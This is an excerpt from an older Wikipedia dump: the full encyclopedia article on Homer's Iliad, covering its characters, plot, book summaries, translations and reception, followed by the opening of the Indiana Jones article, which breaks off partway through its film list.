      <text xml:space="preserve">:''For the [[webcomic]] author '''Illiad''', see [[J.D. Frazer]].

The '''''Iliad''''' ([[Ancient Greek]]: Ιλιάς, ''Iliás'') tells part of the story of the siege of the city of ''[[Troy|Ilium]]'', i.e. the [[Trojan War]], and is, along with the ''[[Odyssey]]'', one of the two major [[Ancient Greece|Greek]] [[epic poetry|epic]] poems traditionally attributed to [[Homer]], a blind [[Ionia|Ionian]] poet. Scholars dispute whether Homer existed, and whether he was one person, but it is clear that the poems spring from a long tradition of oral poetry. The ''Iliad'' and the ''Odyssey'' are traditionally dated to the [[8th century BC|8th]] century BC, but many scholars now prefer a date of the [[7th century BC|7th]] century BC (e.g. [[Martin West]]) or even the [[6th century BC|6th]] century BC (e.g. [[Richard Seaford]]).  The epics are considered to be the oldest literary documents in the Greek language, though the classical Greeks thought that the works of the poet [[Hesiod]] were composed earlier. The word ''Iliad'' means &quot;pertaining to ''Ilion''&quot; ([[Latin language|Latin]] Ilium), the name of the city proper, as opposed to ''Troy'' ([[Greek language|Greek]]: Τροία, ''Troía''; [[Latin language|Latin]]: ''Troja'') the state centered around [[Ilium]], over which [[Priam]] reigned.  However, even classics scholars are unsure of why the text is called Iliad rather than Ilium. The names are often used interchangeably. The Iliad documents just 50 days of the tenth year of the Trojan War. Books 11–18 document events that took place over only a single day.

[[Image:TBanksThetis.jpg|thumb|right|380px|''Thetis rising from the sea to comfort Achilles'' (Book 18), by [[Thomas Banks]], English, [[1778]] [[Victoria and Albert Museum]]]]

==Major characters==
{{spoiler}}
As an epic, the ''Iliad'' contains a sometimes confusingly great number of characters. The latter half of the ''Iliad'''s second book (often called the [[Catalogue of Ships]]) is devoted entirely to listing the various commanders.  Many of the battle scenes in the ''Iliad'' feature bit characters who are quickly slain. See [[Trojan War]] for a detailed list of participating armies and warriors. 

*The [[Achaean]]s (Αχαιοί) - the word &quot;Hellenes&quot;, which would today be translated as &quot;Greeks&quot;, is not used by Homer
**[[Achilles]] (Αχιλλεύς) the leader of the [[Myrmidons]] (Μυρμιδόνες) and the principal Greek champion whose [[anger]] is the over-arching theme of the story
**[[Agamemnon]], (Αγαμέμνων), King of [[Mycenae]], supreme commander of the [[Achaean]] armies whose actions provoke the feud with Achilles
**[[Patroclus]],(Πάτροκλος)  friend or lover to Achilles 
**[[Nestor (mythology)|Nestor]], (Νέστωρ),  [[Menelaus]], (Μενέλαος),  [[Diomedes]], (Διομήδης), [[Idomeneus]], (Ιδομενεύς),  and [[Telamonian Aias]], (Αίας ο Τελαμώνιος), kings of the principal city-states of [[Greece]] who are leaders of their own armies, under the overall command of Agamemnon
**[[Odysseus]],(Οδυσσεύς) another warrior-king, famed for his cunning, who is the subject of his own epic
**[[Calchas]], (Κάλχας)  a powerful Greek [[prophet]] and [[omen]] reader, who guided the Greeks through the war with his predictions.
*The Trojans and their allies
**[[Hector]], (Έκτωρ)  firstborn son of King Priam, leader of the Trojan and allied armies and [[heir apparent]] to the throne of [[Troy]]
**[[Priam]], (Πρίαμος)  king of the Trojans, too old to take part in the fighting
**[[Paris (mythology)|Paris]], (Πάρης) Trojan prince and Hector's brother, also called Alexander; his abduction of [[Helen]] is the [[casus belli]]. He was supposed to be killed as a baby because his sister [[Cassandra]] saw the destruction of Troy because of him. Raised by a shepherd. 
**[[Aeneas]], (Αινείας)  cousin of Hector, and his principal lieutenant
**[[Helenus]] and [[Deiphobus]], brothers of Hector who fight at his side
**[[Poludamas]], another Trojan warrior, apparently a commoner, or in any event not a member of the royal family
**[[Glaucus]] and [[Sarpedon]], leaders of the [[Lycia]]n forces allied to the Trojan cause
*Female characters
**[[Helen]], (Ελένη)  former Queen of Sparta and wife of [[Menelaus]], now espoused to [[Paris (mythology)|Paris]]
**[[Cassandra]], (Κασσάνδρα)  daughter of Priam, a prophetess cursed by [[Apollo]] to prophesy correctly but never be believed
**[[Andromache]], (Ανδρομάχη)  [[Hector]]'s wife and mother of their infant son, [[Astyanax]] (Αστυάναξ)
**[[Hecuba]], (Εκάβη) Queen of Troy, wife of [[Priam]], mother of [[Hector]], [[Cassandra]], [[Paris (mythology)|Paris]] etc
**[[Briseis]], a woman captured in the sack of Lyrnessos, a small town in the territory of Troy, and awarded to Achilles as a prize; Agamemnon takes her from Achilles in Book 1 and Achilles withdraws from battle as a result
The Olympian deities, principally [[Zeus]], [[Hera]], [[Apollo]], [[Aphrodite]], [[Ares]], [[Eris]], [[Athena]], and [[Poseidon]], appear predominantly in the ''Iliad'' as advisers to and manipulators of the human characters. All except Zeus become personally involved in the fighting at one point or another. (See [[Theomachy]])

==The story of the ''Iliad''==
The ''Iliad'' narrates several weeks of action during the tenth and final year of the [[Trojan War]], concentrating on the wrath of [[Achilles]]. It begins with the dispute between Achilles and [[Agamemnon]], and ends with the funeral rites of [[Hector]]. Neither the background and early years of the war ([[Paris (mythology)|Paris]]' abduction of [[Helen]] from [[monarch|King]] [[Menelaus]]), nor its end (the death of [[Achilles]]), are directly narrated in the ''Iliad''.  The ''Iliad'' and the ''Odyssey'' are part of a [[Trojan War cycle|larger cycle of epic poems]] of varying lengths and authors; only fragments survive of the other poems, however.  

Of the many themes in the ''Iliad'', perhaps the most important is the idea of what a hero is. Achilles is forced to make a choice between living a long life or dying young on the battlefield. For the Greeks of Homer's day, the latter would have been a better choice because death in battle leads to honor and glory which were the most important values of the day — more important than even right and wrong. One of the remarkable things about the ''Iliad'' is the way that Achilles, especially in Book 9, both embraces the concepts of honor and glory and also rejects them. It should be noted that, despite the fact that he is the antagonist in the story, Hector probably best displays the qualities of an ancient Mediterranean hero.

Many Greek myths exist in multiple versions, so Homer had some freedom to choose among them to suit his story. What follows are the most common background details to the Trojan War, including (parenthetically) whether or not Homer specifically mentions them.  See [[Greek mythology]] for more detail.

=== Background to the ''Iliad'': The Trojan War===
Both the gods [[Zeus]] and [[Poseidon]] desired the sea-nymph [[Thetis]], but a prophecy made by [[Prometheus]] revealed that Thetis's son would be greater than his father. For this reason, both gods resisted [[Thetis]] and betrothed her to a mortal king, [[Peleus]], so that her offspring would be no more than human. To Peleus and Thetis a son was born, named Achilles. Hoping to protect him, when he was an infant his mother dipped him in the river [[Styx (mythology)|Styx]], making him invincible everywhere except the heel (the legendary [[Achilles' heel]]) by which she held him. Achilles would grow up to be the greatest of all mortal warriors.

All of the gods were invited to Peleus' and Thetis' wedding, except [[Eris]], or Discord. Insulted, she attended invisibly and cast down upon the table a golden apple on which were inscribed the words ''To the fairest'' (''kallisti''). The apple was disputed over by [[Hera]], [[Athena]], and [[Aphrodite]]. None of the gods would venture an opinion favouring any one contender for fear of earning the enmity of the other two. Eventually, Zeus ordered the matter to be settled by [[Paris (mythology)|Paris]], the youngest prince of [[Troy]], who was being raised as a shepherd in the plains nearby. Athena tempted Paris with power in battle and wisdom, Hera offered him political power, and Aphrodite offered him the most beautiful woman in the world. Paris eventually awarded the apple to Aphrodite.  

The most beautiful woman in the world was [[Helen]], daughter of [[Leda (mythology)|Leda]] by Zeus. Scores of men sought her hand. Her father was unwilling to choose any for fear the others would attack him; finally, at [[Odysseus]]' suggestion, he solved the problem by making all the suitors swear an oath to protect Helen and her future husband.  These suitors included [[Agamemnon]], [[Ajax the Greater]], [[Ajax the Lesser]], [[Diomedes]], [[Odysseus]], [[Nestor]], [[Idomeneus]], and [[Philoctetes]]. Helen married [[Menelaus]] of [[Sparta]]; her sister [[Clytemnestra]] married his brother [[Agamemnon]] of [[Mycenae (Greece)|Mycenae]]. (See [[House of Atreus]])

On a diplomatic mission to Sparta, Paris became enamoured of Helen, and she either eloped with or was abducted by Paris and went with him to Troy. In anger, Menelaus called upon Helen's past suitors to make good their oaths to attack Troy.  Eventually a force of a thousand ships marshalled by Menelaus' brother Agamemnon was gathered at [[Aulis]], including all the above-named men and their own forces. A [[seer]] told them that the winds would not take them to Troy unless Agamemnon sacrificed his daughter [[Iphigenia]]. He did so, and the fleet set off. They landed at Troy, eventually, where there ensued a siege of nine years, broken only intermittently by fighting until the tenth year.

Shortly prior to the ''Iliad'', Greek forces had raided a nearby town allied to Troy. Agamemnon had taken prisoner a girl, [[Chryseis]], daughter of a local priest of [[Apollo]]. The priest begged the god to punish the Greeks, and a plague ravaged their army.

===The ''Iliad'''s story===
====Overview====
The ''Iliad'' focuses mainly on [[Achilles]] and his rage against king [[Agamemnon]], the [[Greece|Greek]] commander-in-chief.  

[[Apollo]] has sent a plague against the Greeks, who captured the daughter of the priest Chryses and gave her as a prize to [[Agamemnon]].  He is compelled to restore her to her father.  Out of pride, he takes [[Briseis]], whom the Athenians had given [[Achilles]] as a prize. Achilles, the greatest warrior of the age, follows the advice of his mother, [[Thetis]], and withdraws from battle in revenge and the allied [[Achaean]] (Greek) armies nearly lose the war.

In counterpoint to Achilles' pride and arrogance stands the Trojan prince [[Hector]], son of King [[Priam]], with a wife and child, who fights to defend his city and his family. The death of [[Patroclus]], Achilles' dearest friend or lover, at the hands of Hector, brings Achilles back to the war for [[revenge]], and he slays Hector. Later Hector's father, King Priam, comes to Achilles disguised as a beggar to ransom his son's body back, and Achilles is moved to pity; the funeral of Hector ends the poem.

The poem is a poignant depiction of the tragedy and agony of friendship and family destroyed by battle. The first word of the Greek poem is &quot;Μηνιν&quot; (&quot;mēnin&quot;, meaning &quot;wrath&quot;); the main subject of the poem is the wrath of Achilles; the second word is &quot;aeide&quot;, meaning &quot;sing&quot;; the poet is asking someone to sing; the third word is &quot;thea&quot;, meaning &quot;goddess&quot;; the goddess here being the &quot;Mousa&quot; or &quot;muse&quot;; a literal translation of the first line would read &quot;Wrath, sing goddess, of Peleus' son Achilles&quot; or more intelligibly &quot;Sing, goddess, the wrath of Peleus' son Achilles&quot;. ({{perseus|Hom.|Il.|1.1}})

====Book summaries====
* Book 1: Ten years into the war, [[Achilles]] and [[Agamemnon]] quarrel over a slave girl, [[Achilles]] withdraws from the war in anger

* Book 2: [[Odysseus]] motivates the [[Greeks]] to keep fighting; [[Catalogue of Ships]], Catalogue of Trojans and Allies

* Book 3: [[Paris]] challenges [[Menelaus]] to single combat

* Book 4: The truce is broken and battle begins

* Book 5: [[Diomedes]] has an aristea and wounds [[Aphrodite]] and [[Ares]]

* Book 6: [[Glaucus]] and [[Diomedes]] greet during a truce

* Book 7: [[Hector]] battles [[Telamonian Aias | Ajax]]

* Book 8: The gods withdraw from the battle

* Book 9: [[Agamemnon]] retreats: his overtures to [[Achilles]] are spurned

* Book 10: [[Diomedes]] and [[Odysseus]] go on a spy mission

* Book 11: [[Paris]] wounds [[Diomedes]], and [[Achilles]] sends [[Patroclus]] on a mission

* Book 12: The [[Greeks]] retreat to their camp and are besieged by the [[Trojans]]

* Book 13: [[Poseidon]] motivates the [[Greeks]]

* Book 14: [[Hera]] helps [[Poseidon]] assist the [[Greeks]]

* Book 15: [[Zeus]] stops [[Poseidon]] from interfering

* Book 16: [[Patroclus]] borrows [[Achilles]]' armour, enters battle, kills [[Sarpedon]] and then is killed by [[Hector]]

* Book 17: The armies fight over the body and armour of [[Patroclus]]

* Book 18: [[Achilles]] learns of the death of [[Patroclus]] and receives a new suit of armour

* Book 19: [[Achilles]] reconciles with [[Agamemnon]] and enters battle

* Book 20: The gods join the battle; [[Achilles]] tries to kill [[Aeneas]]

* Book 21: [[Achilles]] fights with the river [[Scamander]] and encounters [[Hector]] in front of the [[Trojan]] gates

* Book 22: [[Achilles]] kills [[Hector]] and drags his body back to the [[Greeks|Greek]] camp

* Book 23: Funeral games for [[Patroclus]]

* Book 24: [[Achilles]] lets [[Priam]] have [[Hector]]'s body back, and he is burned on a pyre

===After the ''Iliad'': Conclusion of the war, and after===
Although certain events subsequent to the funeral of Hector are foreshadowed in the ''Iliad'', and there is a general sense that the Trojans are doomed, a detailed account of the fall of Troy is not set out by Homer. The following account comes from later Greek and Roman poetry and drama. 

[[Achilles]] fights and kills the [[Amazons|Amazon]] queen [[Penthesilea]] and the Aethiopean king [[Memnon]]. Very soon he is killed on the battlefield by [[Paris (mythology)|Paris]] with a poisoned arrow to his vulnerable heel. (See [[Achilles' tendon|Achilles' Heel]]). After his death, [[Ajax the Greater]] and [[Odysseus]] feud over who should keep his armour.  They submit their disagreement to an impromptu court and Odysseus is awarded the armour. Ajax subsequently goes mad and slaughters his livestock, believing they are the Greek commanders. He then kills himself in grief. 

The [[Amazons]] come to join the battle. [[Philoctetes]], a crippled Greek who had been abandoned by the others along the journey, was recruited because it was prophesied the war could not be won without his bow.

Odysseus devises a plan to take the city. He has his men build a large, hollow [[Trojan horse|wooden horse]], and then he and twenty others hide inside. The Greek ships withdraw out of sight of Troy, apparently admitting defeat, and leave behind the horse, purportedly as an offering to Poseidon for good winds on the return trip. The Trojans take this inside the great walls of Troy, and then feast and celebrate their victory and the war's end. At night, Odysseus and the soldiers creep out of the horse and open the gates to the other Greeks who have sailed back under cover of night. The city is sacked, and in some accounts burned for seven years. 

Priam is killed. According to one tradition, [[Hector]]'s wife [[Andromache]] throws their son [[Astyanax]] and herself from the ramparts to save them from [[slavery]]. According to another, Astyanax was killed by [[Neoptolemus]], son of Achilles, to ensure that Hector's son could not seek vengeance for his father's death against Achilles' son. Andromache became Neoptolemus' concubine, later to marry [[Helenus]], Hector's brother. A Roman tradition held that [[Aeneas]] escaped with his family and several hundred people, who after years of migration eventually founded [[Rome]].  (This was used by [[Virgil]] in his [[Aeneid]]).

Odysseus' long journey home is narrated in Homer's ''Odyssey''. [[Menelaus]] and [[Helen]] returned to [[Sparta]] to rule. Agamemnon took home as a slave the priestess [[Cassandra]], who was gifted with prophecy but cursed never to be believed. When he returned home he was murdered by his wife [[Clytemnestra]] and her lover, [[Aegisthus]]. They in turn were killed by [[Agamemnon]]'s son, [[Orestes]], and his daughter, [[Electra|Elektra]].

==Technical features and translations==
The poem is written in [[dactylic hexameter]]. The ''Iliad'' comprises roughly 16,000 lines of verse. Later Greeks divided it into twenty-four books, and this convention has lasted to the present day with little change.  

The ''Iliad'' has been translated into [[English language|English]] for centuries.  [[George Chapman]] did a translation in the [[16th century]] which [[John Keats]] praised in his sonnet, ''[[On First Looking into Chapman's Homer]]'' and [[Alexander Pope]] did another one in rhymed [[pentameter]].

There are five widely read modern English translations. [[Richmond Lattimore]] provides a translation that attempts to reproduce, line for line, the rhythm of the original poem. [[Robert Fagles]] emphasizes contemporary English phrasing while maintaining faithfulness to the Greek. The translations of [[Stanley Lombardo]] and [[Robert Fitzgerald]] are known for their attention to Homer's imagery. Lombardo's translation is generally the one most often recommended by classics scholars because of its faithfulness to the Greek and its modern vernacular style. However, unless one can read Homeric Greek -- different than other Ancient Greek writers because of its amalgamation of Greek dialects -- one needs to choose a translation. The quality of the translation is probably the single biggest factor in determining whether or not one finishes the text.

==The ''Iliad'' as oral tradition==
The ''Iliad'' and the ''Odyssey'' were considered by Greeks of the classical age and after as the most important works in [[Ancient Greek literature]], and were the basis of Greek [[pedagogy]] in antiquity. As the center of the [[rhapsode]]'s repertoire, their recitation was a central part of Greek religious festivals. The book would be spoken or sung all night (modern readings last around 20 hours), with audiences coming and going for parts they particularly enjoyed.

Throughout much of their reception, the Iliad and Odyssey were assumed considered to be literary poems.  However in the late 19th century and the early 20th century, scholars began to question this assumption.  [[Milman Parry]], a classical scholar, was intrigued by peculiar features of Homeric style: in particular the stock epithets and the often extensive repetition of words, phrase and even whole chunks of text.  He argued that these features were artifacts of oral composition.  The poet employs stock phrases because of the ease with which they could be applied to a hexameter line.  Taking this theory, Parry travelled in Yugoslavia, studying the local oral poetry.  In his reasearch he observed oral poets employing stock phrases and repetition to assist with the challenge of composing a poem orally and improvisationally.  

The written ''Iliad'' and the ''Odyssey'' are based on older, orally transmitted works and, consequently, are full of [[metaphor]]s and [[simile]]s which were used to communicate the stories to a mostly illiterate population in a manner they would understand.  Specifically, the similes used in The ''Iliad'' can be divided into several categories: the descriptions of battles, people, and gods.  Each type of simile aided understanding in Greek oral tradition and allowed the first listeners of the story to adequately picture what was being sung to them.

==The relationship of Achilles and Patroclus==
{{main|Achilles and Patroclus}}
[[Image:Patrocluspederastyscene.jpg|thumb|right|200px|Achilles and Patroclus.]]
The precise nature of the relationship between Achilles and Patroclus has been the subject of some dispute in both the classical period and modern times.  In the ''Iliad'', it is clear that the two heroes have a deep and extremely meaningful friendship, but the evidence of a romantic or sexual element is equivocal.  Commentators from the classical period to today have tended to interpret the relationship through the lens of their own cultures.  Thus, in fifth-century Athens the relationship was commonly interpreted as [[pederasty|pederastic]], since pederasty was an accepted part of Athenian society.  Contemporary readers are more likely to interpret the two heroes either as non-sexual &quot;war buddies&quot; or as an egalitarian [[homosexual]] couple.

The Ancient Mediterranean world had vastly different attitudes toward gender and sexuality than those found in twenty-first century America or Europe. There was no term or concept of homosexuality. In addition, much of what is known about ancient Greek sexual practices and beliefs is based on writers and artists who lived at least 200 years after Homer's epics were created; it is unknown how much these practices and attitudes changed from the time Homer's epics were originally sung and the time that these later writers and artists recorded their work.

It is impossible to designate the roles found in the ''Iliad'' between Achilles and Patroclus along pederastic lines.  Achilles is the most dominant.  Among the warriors in the [[Trojan War]] he has the most fame. Patroclus performs duties such as cooking, feeding and grooming the horses, and nursing yet is older than Achilles. Both also sleep with women. Nonetheless the emotion between the two is obviously intense love. Achilles is tender to Patroclus, callous and arrogant towards others. Although most warriors fought for personal fame or their [[city-state]] (including Achilles), at certain junctures in the ''Iliad'', Achilles emphasizes his relationship with Patroclus above all else. He dreams that all Greeks would die so that he and Patroclus might gain the fame of conquering [[Troy]] alone. After Patroclus dies he agonizes touching his dead body, smearing himself with ash, and fasting. It was not until his desire for revenge to kill Hector who had killed Patroclus that he would fight again; fully aware that the gods warned him it would cost him his life.

==The ''Iliad'' in subsequent arts and literature==
Subjects from the Trojan War were a favourite among ancient Greek dramatists. [[Aeschylus]]' trilogy ''Agamemnon'', ''The Libation Bearers'', and ''The Eumenides'' follow the story of Agamemnon following his return from the war.

A loose film adaptation of the ''Iliad'', ''[[Troy (movie)|Troy]]'', was released in [[2004]], starring [[Brad Pitt]] as Achilles, [[Orlando Bloom]] as Paris, [[Eric Bana]] as Hector, [[Sean Bean]] as [[Odysseus]] and [[Brian Cox]] as [[Agamemnon]]. It was directed by German-born [[Wolfgang Petersen]]. Despite its popularity &amp;mdash; largely a result of a huge marketing campaign by the studio &amp;mdash; the film was a critical flop in the U.S., though not internationally. Several critics voted it the worst film of 2004. In addition, it only loosely resembles the Homeric version as it was presented as if it were history instead of mythology.  The supernatural elements of the story were deliberately expunged, except for one scene that included Achilles' sea nymph mother, [[Thetis]]. 

An epic science fiction adaptation/tribute by acclaimed author [[Dan Simmons]] titled ''Ilium'' was released in 2003. The novel received a [[Locus Award]] for best science fiction novel of [[2003]].

== English translations ==
*[[George Chapman]], 1598 - verse
*[[John Ogilby]], 1660
*[[Thomas Hobbes]], 1676 - verse: [http://oll.libertyfund.org/ToC/0256.php full text]
*[[John Ozell]], [[William Broome]], and [[William Oldisworth]], 1712
*[[Alexander Pope]], 1713 - verse: [http://www.gutenberg.net/etext/6130 full text]
*[[James Macpherson]], 1773
*[[William Cowper]], 1791
*[[Edward Geoffrey Smith Stanley, 14th Earl of Derby|Edward Earl of Derby]], 1864 - verse: [http://www.gutenberg.net/etext/6150 full text]
*[[William Cullen Bryant]], 1870
*[[Walter Leaf]], [[Andrew Lang]], and [[Ernest Myers]], 1873 - prose: [http://www.gutenberg.net/etext/3059 full text]
*[[Samuel Butler (1835-1902)|Samuel Butler]], 1898 - prose: [http://www.gutenberg.net/etext/2199 full text] 
*[[Alexander Falconer]], 1933
*[[Sir William Marris]], 1934 - verse
*[[E V Rieu]], 1950 - prose
*[[Alston Hurd Chase]] and [[William G. Perry]], 1950 - prose
*[[Richmond Lattimore]], 1951 - verse
*[[Ennis Rees]], 1963 - verse
*[[W. H. D. Rouse]], 1966
*[[Martin Hammond]], 1987
*[[Robert Fagles]], 1990
*[[Stanley Lombardo]], 1997
*[[Ian Johnston]], 2002 - verse: [http://www.mala.bc.ca/~johnstoi/homer/iliad_title.htm full text]

== References ==
* {{cite book | authorlink = Milan Budimir | first = Milan | last = Budimir | year = 1940 | title = On the Iliad and Its Poet }}
* {{cite book | last = Mueller | first = Martin | title = The Iliad | location = London | publisher = Allen &amp; Unwin | year = 1984 | id = ISBN 0048000272 }}
* {{cite book | last = Nagy | first = Gregory | title = The Best of the Achaeans | location = Baltimore | publisher = The Johns Hopkins University Press | year = 1979 | id = ISBN 0801823889 }}
* {{cite book | author = Seaford, Richard | title = Reciprocity and Ritual | location = Oxford | publisher = Oxford University Press | year = 1994 | id = ISBN 0198150369 }}
* {{cite book | author = West, Martin | title = The East Face of Helicon | location = Oxford | publisher = Oxford University Press | year = 1997 | id = ISBN 0198152213 }}

== External links ==
{{wikisourcepar|The Iliad}}
* [http://www.uark.edu/campus-resources/achilles/iliad/iliad.html Classical images illustrating the ''Iliad''.] Repertory of outstanding painted vases, wall paintings and other ancient iconography of the War of Troy.
* [http://rss.duchs.com/homer/iliad/ Iliad via RSS]
* [http://www.sparknotes.com/lit/iliad/ SparkNotes]
* [http://www.textedge.com/ HTML Text of Iliad]
* [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.01.0133 Iliad in Ancient Greek from the Perseus Project]
* {{gutenberg|no=2199|name=The Iliad ''translated by Samuel Butler'}}
* {{gutenberg|no=3059|name=The Iliad ''translated by Andrew Lang'}}
* {{gutenberg|no=6130|name=The Iliad ''translated by Alexander Pope'}}
* {{gutenberg|no=6150|name=The Iliad ''translated by Edward, Earl of Derby'}}
* {{gutenberg|no=16452|name=The Iliad ''translated by William Cowper'}}

{{Trojan War Cycle}}

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[[Category:Ancient Greek poems]]
[[Category:Metanarratives]]

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  </page>
  <page>
    <title>Indiana Jones</title>
    <id>14814</id>
    <revision>
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      <timestamp>2006-03-03T04:42:57Z</timestamp>
      <contributor>
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        <id>425277</id>
      </contributor>
      <comment>fmt</comment>
      <text xml:space="preserve">[[Image:Indiana.jpeg|thumb|250px|[[Harrison Ford]] as Indiana Jones]]
'''Professor Henry &quot;Indiana&quot; Jones, Jr.''' is a [[fictional character|fictional]] [[bullwhip]]-toting, [[Fedora (hat)|fedora]]-wearing [[archaeology|archaeologist]] with an [[ophidiophobia]] (fear of [[snake]]s). He first appeared in a series of [[film]]s produced by [[George Lucas]] and directed by [[Steven Spielberg]] in the 1980s.

Jones was originally portrayed by [[Harrison Ford]] in ''[[Raiders of the Lost Ark]]''. Younger versions of the character were also played by [[River Phoenix]] (in ''[[Indiana Jones and the Last Crusade]]''), and by [[Corey Carrier]] and [[Sean Patrick Flanery]] (in ''[[The Young Indiana Jones Chronicles]]''). An older version (93) of Jones, played by [[George Hall (actor)|George Hall]], also appeared in ''The Young Indiana Jones Chronicles''.

Indiana Jones is also the general name given to the series as a whole, which is comprised of three films, a TV series, various novels, comics, video games, and other media. A fourth film has also been announced for a likely [[2007]] release.  

{{Spoiler}}

== Biography ==

[[Image:Indiana Jones 2.jpg|200px|thumb|When not adventuring, Jones is a respectable professor]]
Indiana Jones was born '''Henry Jones Jr.''' to [[Scotland|Scottish]]-born [[Professor]] of [[Medieval literature]], Dr. Henry Jones Sr. (played by [[Lloyd Owen]] in the TV series and by [[Sean Connery]] in the films), and his wife Anna on [[July 1]], [[1899]], in [[Princeton, New Jersey|Princeton]], [[New Jersey]]. &quot;Junior&quot; accompanied his father on his travels throughout [[Europe]], where he learned to speak, read, and write 27 languages, including [[French language|French]], [[German language|German]], [[Italian language|Italian]], [[Spanish language|Spanish]], [[Russian language|Russian]], [[Swedish language|Swedish]], [[Greek language|Greek]], [[Arabic language|Arabic]], [[Turkish language|Turkish]], [[Vietnamese language|Vietnamese]], [[Swahili language|Swahili]], [[Latin]] and [[Chinese language|Chinese]], as well as some [[Hindi language|Hindi]], apart from [[English language|English]]. Although his father called him &quot;Junior,&quot; Henry Jr. adopted the name of his beloved [[dog]] Indiana for himself, insisting he be referred to as Indiana Jones. It is not known for sure when he first did this, except that he was referred to as Indiana during childhood by his peers.

In [[1912]], Indy was living in [[Utah]] and was a member of the [[Boy Scouts of America|Boy Scouts]] with the rank of [[Life Scout rank (Boy Scouts of America)|Life Scout]].  It was here, while attempting to secure the [[Cross of Coronado]] from thieves, Indy first learned to use the bullwhip and received his trademark [[Fedora (hat)|fedora]], as well as the scar on his chin. This was also the time when he first developed his aversion to snakes.

His father wanted Indiana to go to [[Princeton University]]. To escape this, he ran away from home by [[train]]. He ended up in [[Mexico]] and was kidnapped by Mexican revolutionaries. He joined this army of revolutionaries, playing a part in the [[Mexican Revolution]] in [[1916]], under [[Pancho Villa]]. It is here that he also met his friend Remy, a [[Belgium|Belgian]]. With Remy, he left Mexico and traveled to [[Ireland]] just in time for the [[Easter Rising]].  He then traveled to England, getting involved with the suffrage movement, and then he and Remy joined the [[Belgian Army]].  He participated in the [[Western Front (WWI)|Western Front]]. He was taken prisoner by the Germans, escaped, encountered (and lost his virginity to) [[Mata Hari]] eventually making his way to [[Africa]] at the beginning of [[World War I]].
[[image:IndianaJ.jpg|thumb|250px|Indiana Jones with his father Dr. Henry Jones, Sr.]]
When they arrived in Africa, Jones and Remy were [[Commissioned officer|commissioned]] as [[lieutenants]]. Jones' inability to read [[map]]s properly caused him to lose his intended unit, and he instead fought along side a team of old men under the [[British Army]]. Among missions (depicted in the television series), the team destroyed a giant cannon mounted on a train, and they kidnapped the (real-life) German military genius [[Paul Erich von Lettow-Vorbeck]] in a [[balloon]], but they were forced to release him.  Also while in Africa, Jones took ill, and was treated by [[Albert Schweitzer]].

Jones and Remy then transferred to the French Army, and Jones worked as an intelligence officer, vied with [[Ernest Hemingway]] for the affections of a young nurse, and worked as a translator for the [[Treaty of Versailles]], seeing the war come to its conclusion but laying down the groundwork for a second conflict.

Sometime after the war, Jones returned to the [[United States]], where he studied [[archaeology]] at the [[University of Chicago]] under Professor Abner Ravenwood.  At the same time, he became romantically involved with the Professor's daughter Marion.  

Dr. Jones abruptly left the Ravenwoods in [[1926]] and did not contact them for 10 years.  He divided his time between teaching and archaeological expeditions, including a journey to [[China]] and [[India]] in [[1935]] where he raced [[Nazis]] to a mystical gem called &quot;The Heart of the Dragon&quot; from the ancient tomb of a Chinese emperor. Immediately afterword, he faced the gangster [[Lao Che]] and the followers of the [[cult]] of [[Kali]] (''[[Indiana Jones and the Temple of Doom|Temple of Doom]]'').  In [[1936]], he was contacted by the United States government to retrieve the [[Ark of the Covenant]] before the [[Nazi]]s (''[[Raiders of the Lost Ark]]'').  He continued to take on infrequent missions for the government over the ensuing years. In [[1938]], Indy rescued his father from the Nazis and became embroiled in the search for the [[Holy Grail]] (''[[Indiana Jones and the Last Crusade|Last Crusade]]''). His life during [[World War II]] is unknown, but in [[1947]] he was deceived by the recently born [[CIA]] to search the mechanism of the [[Babylon]]ian ''Infernal Machine'', in confrontation with a [[Soviet]] expedition.

When last seen in [[1993]], Jones was living in [[New York City]] with his daughter and her family.  Sporting an eyepatch and cane, he was stopping anyone within earshot to regale them with tales of his exploits.  He seems remarkably spry for a man in his 90s&amp;mdash;whether that is because of his drinking from the Grail is unknown. It is yet to be chronicled as to what adventure led Indy to wear an eyepatch.

== Appearances ==

Since his introduction in 1981's ''Raiders of the Lost Ark'', the character of Indiana Jones has become a [[cultural icon]] for adventure. His popularity has allowed him to make appearances in three more feature films, a three-season TV series, dozens of novels, comic books, and video games, and even had his own amusement park ride.

The [[television]] series, ''[[The Young Indiana Jones Chronicles]]'', aired from [[1992]] to [[1996]], with the 17-year-old Indy played by [[Sean Patrick Flanery]], 93-year-old Indy by [[George Hall (actor)|George Hall]], and 10-year-old Indy by [[Corey Carrier]]. This inspired a number of made-for-TV and made-for-video movies featuring Flanery as young Indy. One of the last Young Indiana Jones TV movies featured a cameo appearance by Harrison Ford, reprising the role of Indy as a man in his 50s.  The show ran for 44 episodes, with each pairing of episodes forming a feature-length TV film. The stories spanned from Indy’s childhood travels with his father (who was on, what seemed, one continuous Medieval studies lecture tour) to the solo journeys of his youth and even into World War I. Every episode began with a 93-year-old Indy, a grey-haired professor, talking about one of his old childhood adventures.

The popular trilogy of theatrical films: ''Raiders of the Lost Ark'', ''Indiana Jones and the Temple of Doom'', and ''Indiana Jones and the Last Crusade'', were made from 1981&amp;ndash;1989, created by George Lucas and directed by Steven Spielberg. The series starred Harrison Ford as Jones. The upcoming fourth Indiana Jones movie, once again to star Harrison Ford, has been in the planning stages for several years; it is in pre-production and is not expected to be released until February 2007 at the earliest. [[Jim Ward]], Vice President of [[Lucasfilm]], has said in a recent press conference that a new ''Indiana Jones'' video game is expected that same year, around the time of the movie.

=== TV films ===

[[Image:Mo_37.jpeg|thumb|right|200px|Harrison Ford makes a cameo appearance as 50 year old Indy in Chapter 20: Mystery of the Blues.]]
*Chapter 1: My First Adventure
*Chapter 2: Passion for Life
*Chapter 3: The Perils of Cupid
*Chapter 4: Travels with Father
*Chapter 5: Journey of Radiance
*Chapter 6: Spring Break Adventure
*Chapter 7: Love's Sweet Song
*Chapter 8: Trenches of Hell
*Chapter 9: Demons of Deception
*Chapter 10: Phantom Train of Doom
*Chapter 11: Oganga, the Giver and Taker of Life
*Chapter 12: Attack of the Hawkmen
*Chapter 13: Adventures in the Secret Service
*Chapter 14: Espionage Escapades
*Chapter 15: Daredevils of the Desert 
*Chapter 16: Tales of Innocence
*Chapter 17: Masks of Evil
*Chapter 18: Treasure of the Peacock's Eye
*Chapter 19: Winds of Change
*Chapter 20: Mystery of the Blues
*Chapter 21: Scandal of 1920
*Chapter 22: Hollywood Follies

=== Theatrical films ===

*Chapter 23: ''[[Indiana Jones and the Temple of Doom|The Temple of Doom]]'' ([[1984]])
